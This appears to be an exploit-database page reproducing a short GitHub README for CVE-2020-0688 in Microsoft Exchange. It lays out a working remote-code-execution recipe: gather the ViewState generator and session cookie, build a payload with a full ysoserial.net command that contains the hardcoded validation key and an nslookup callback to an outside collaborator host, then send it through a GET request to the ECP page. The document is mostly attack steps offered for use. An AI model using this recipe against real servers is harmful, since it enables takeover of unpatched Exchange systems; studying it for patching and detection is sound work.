Sploitus

Exploit for Improper Authentication in Microsoft

githubexploit · 2020-02-25

Exploit Code

README23 lines
## https://sploitus.com/exploit?id=4F13FB3F-F0CD-595E-85CB-B5CB97A7C29A
# cve-2020-0688
cve-2020-0688

Login with a user with an email address privliage is nothing to worry about.

Grab -  `__VIEWSTATEGENERATOR` from page source
Grab - the value of `ASP.NET_SessionId` cookie for viewstateuserkey value

[Download YSO Here](https://github.com/pwntester/ysoserial.net/releases/download/v1.32/ysoserial-1.32.zip)


```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```

GET TO:

```
https://localhost/ecp/default.aspx?__VIEWSTATEGENERATOR=&__VIEWSTATE=
```

The Exploit.py is untested and need a demo system to fire up and play with.